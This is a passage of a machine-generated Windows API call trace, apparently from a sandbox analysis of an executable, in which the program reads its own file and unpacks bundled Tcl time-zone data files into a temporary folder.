[0043.134] htonl (hostlong=0xb5000000) returned 0xb5 [0043.134] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.134] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb5, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb5, lpOverlapped=0x0) returned 1 [0043.135] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.135] CloseHandle (hObject=0x10c) returned 1 [0043.135] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.135] htonl (hostlong=0x30000000) returned 0x30 [0043.135] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.135] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.135] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.135] GetFileType (hFile=0x10c) returned 0x1 [0043.135] htonl (hostlong=0xe0145d00) returned 0x5d14e0 [0043.135] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61c4e0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.135] htonl (hostlong=0x8e000000) returned 0x8e [0043.135] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8e) returned 0x55cfe0 [0043.135] htonl (hostlong=0x8e000000) returned 0x8e [0043.135] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.135] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.135] htonl (hostlong=0x96000000) returned 0x96 [0043.135] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x96) returned 0x550600 [0043.135] htonl (hostlong=0x8e000000) returned 0x8e [0043.135] htonl (hostlong=0x96000000) returned 0x96 [0043.135] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.135] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.136] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.136] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.136] CloseHandle (hObject=0x10c) returned 1 [0043.136] GetLastError () returned 0x0 [0043.136] SetLastError (dwErrCode=0x0) [0043.136] GetLastError () returned 0x0 [0043.136] SetLastError (dwErrCode=0x0) [0043.136] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.136] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.136] GetFileType (hFile=0x10c) returned 0x1 [0043.136] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.136] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.136] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.136] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.136] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.136] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.136] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.136] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.136] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.136] CloseHandle (hObject=0x10c) returned 1 [0043.136] GetLastError () returned 0x0 [0043.136] SetLastError (dwErrCode=0x0) [0043.136] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.136] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.137] GetFileType (hFile=0x10c) returned 0x1 [0043.137] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.137] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.137] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.137] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.137] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.137] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.137] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.137] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.137] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.137] CloseHandle (hObject=0x10c) returned 1 [0043.137] GetLastError () returned 0x0 [0043.137] SetLastError (dwErrCode=0x0) [0043.137] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.137] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.137] GetFileType (hFile=0x10c) returned 0x1 [0043.137] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.137] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.137] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.137] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.137] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.137] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.137] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.137] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.137] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.138] CloseHandle (hObject=0x10c) returned 1 [0043.138] GetLastError () returned 0x0 [0043.138] SetLastError (dwErrCode=0x0) [0043.138] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Gambier") returned 72 [0043.138] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Gambier" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\gambier"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.138] GetLastError () returned 0x2 [0043.138] SetLastError (dwErrCode=0x2) [0043.138] GetLastError () returned 0x2 [0043.138] SetLastError (dwErrCode=0x2) [0043.138] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Gambier", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Gambier", lpFilePart=0x0) returned 0x47 [0043.138] GetLastError () returned 0x2 [0043.138] SetLastError (dwErrCode=0x2) [0043.138] GetLastError () returned 0x2 [0043.138] SetLastError (dwErrCode=0x2) [0043.138] GetLastError () returned 0x2 [0043.138] SetLastError (dwErrCode=0x2) [0043.138] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Gambier") returned 72 [0043.138] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.138] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Gambier" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\gambier"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.139] GetFileType (hFile=0x10c) returned 0x1 [0043.139] htonl (hostlong=0x96000000) returned 0x96 [0043.139] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.139] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x96, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x96, lpOverlapped=0x0) returned 1 [0043.140] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.140] CloseHandle (hObject=0x10c) returned 1 [0043.140] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.140] htonl (hostlong=0x30000000) returned 0x30 [0043.140] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.140] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.140] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.140] GetFileType (hFile=0x10c) returned 0x1 [0043.140] htonl (hostlong=0x6e155d00) returned 0x5d156e [0043.140] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61c56e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.140] htonl (hostlong=0x8e000000) returned 0x8e [0043.140] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8e) returned 0x55cfe0 [0043.140] htonl (hostlong=0x8e000000) returned 0x8e [0043.140] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.140] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.140] htonl (hostlong=0x97000000) returned 0x97 [0043.140] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x97) returned 0x550600 [0043.140] htonl (hostlong=0x8e000000) returned 0x8e [0043.140] htonl (hostlong=0x97000000) returned 0x97 [0043.140] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.140] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.140] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.140] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.140] CloseHandle (hObject=0x10c) returned 1 [0043.141] GetLastError () returned 0x0 [0043.141] SetLastError (dwErrCode=0x0) [0043.141] GetLastError () returned 0x0 [0043.141] SetLastError (dwErrCode=0x0) [0043.141] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.141] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.141] GetFileType (hFile=0x10c) returned 0x1 [0043.141] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.141] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.141] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.141] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.141] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.141] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.141] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.141] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.141] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.141] CloseHandle (hObject=0x10c) returned 1 [0043.141] GetLastError () returned 0x0 [0043.141] SetLastError (dwErrCode=0x0) [0043.141] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.141] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.141] GetFileType (hFile=0x10c) returned 0x1 [0043.141] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.141] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.141] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.142] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.142] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.142] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.142] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.142] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.142] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.142] CloseHandle (hObject=0x10c) returned 1 [0043.142] GetLastError () returned 0x0 [0043.142] SetLastError (dwErrCode=0x0) [0043.142] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.142] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.142] GetFileType (hFile=0x10c) returned 0x1 [0043.142] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.142] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.142] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.142] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.142] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.142] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.142] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.142] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.142] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.142] CloseHandle (hObject=0x10c) returned 1 [0043.142] GetLastError () returned 0x0 [0043.142] SetLastError (dwErrCode=0x0) [0043.142] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Guadalcanal") returned 76 [0043.142] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Guadalcanal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\guadalcanal"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.143] GetLastError () returned 0x2 [0043.143] SetLastError (dwErrCode=0x2) [0043.143] GetLastError () returned 0x2 [0043.143] SetLastError (dwErrCode=0x2) [0043.143] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Guadalcanal", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Guadalcanal", lpFilePart=0x0) returned 0x4b [0043.143] GetLastError () returned 0x2 [0043.143] SetLastError (dwErrCode=0x2) [0043.143] GetLastError () returned 0x2 [0043.143] SetLastError (dwErrCode=0x2) [0043.143] GetLastError () returned 0x2 [0043.143] SetLastError (dwErrCode=0x2) [0043.143] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Guadalcanal") returned 76 [0043.143] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.143] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Guadalcanal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\guadalcanal"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.144] GetFileType (hFile=0x10c) returned 0x1 [0043.144] htonl (hostlong=0x97000000) returned 0x97 [0043.144] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.144] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x97, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x97, lpOverlapped=0x0) returned 1 [0043.145] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.145] CloseHandle (hObject=0x10c) returned 1 [0043.145] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.145] htonl (hostlong=0x40000000) returned 0x40 [0043.145] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.145] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.145] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: 